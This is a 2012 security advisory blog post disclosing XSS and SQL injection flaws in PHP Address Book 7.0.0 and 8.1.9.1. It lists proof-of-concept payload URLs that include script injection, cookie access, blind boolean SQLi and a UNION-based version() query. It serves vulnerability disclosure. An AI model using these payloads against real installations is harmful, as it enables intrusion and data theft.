Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170
Skip to content

SSCHADV2012-013 - PHP Address Book 7.0.0 and 8.1.9.1 Multiple security vulnerabilities

Advisory:
PHP Address Book 7.0.0 and 8.1.9.1 Multiple security vulnerabilities
Advisory ID: SSCHADV2012-013
Author: Stefan Schurtz
Affected Software: Successfully tested on PHP Address Book 7.0.0 and 8.1.9.1 (latest version)
Vendor URL:
Vendor Status:
informed
 
======================
Vulnerability Description
======================
 
PHP Address Book 7.0.0 and 8.1.9.1 are prone to multiple XSS and SQLi vulnerabilities
 
==============
PoC-Exploit
==============

// XSS
 
# GET
 
http://[target]/addressbookv/preferences.php?from=‘"</script><script>alert(‘xss’)</script>
http://[target]/addressbookv/group.php/" /><script> alert(‘xss’)</script>
http://[target]/addressbookv/index.php?group=‘"</script><script>alert(document.cookie)</script>
 
# POST
 
http://[target]/addressbookv/translate.php?lang=en&target_language=en&Mode=Range# -> POST-Parameter ‘target_language’ -> <script>alert(‘xss’)</script>
http://[target]/addressbookv/translate.php?lang=en&target_language=en&Mode=Range# -> POST-Parameter ‘target_flag’ -> <script>alert(‘xss’)</script>
http://[target]/addressbookv/translate.php?lang=en&target_language=‘"/><script>alert(‘xss’)</script>&Mode=Range#

// SQLi
 
http://[target]/addressbookv/edit.php?id=1 AND 1=IF(1<2,2,1)
http://
[target]/addressbookv/edit.php?id=1 AND 1=IF(1>2,2,1)

// UNION-based Injection, needs ‘magic_quotes=off’

 
http://[target]/addressbookv/view.php?id=1UNION ALL SELECT NULL, NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL—+

=====
Solution
=====

-

================
Disclosure Timeline
================

16-May-2012 – vendor informed
05-Jul-2012   – advisory updated: latest version is still vulnerable

====
Credits
====

Vulnerabilities found and advisory written by Stefan Schurtz.

=======
References
=======

https://sourceforge.net/tracker/?func=detail&aid=3527242&group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-013.txt

Trackbacks

www.websecuritywatch.com on : PingBack

Unfortunately, the contents of this trackback can not be displayed.

www.websecuritywatch.com on : PingBack

Unfortunately, the contents of this trackback can not be displayed.

Comments

Display comments as Linear | Threaded

No comments

Add Comment


To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA 1CAPTCHA 2CAPTCHA 3CAPTCHA 4CAPTCHA 5


Textile-formatting allowed
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
Form options
Imprint | Contact | Privacy Statement

Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170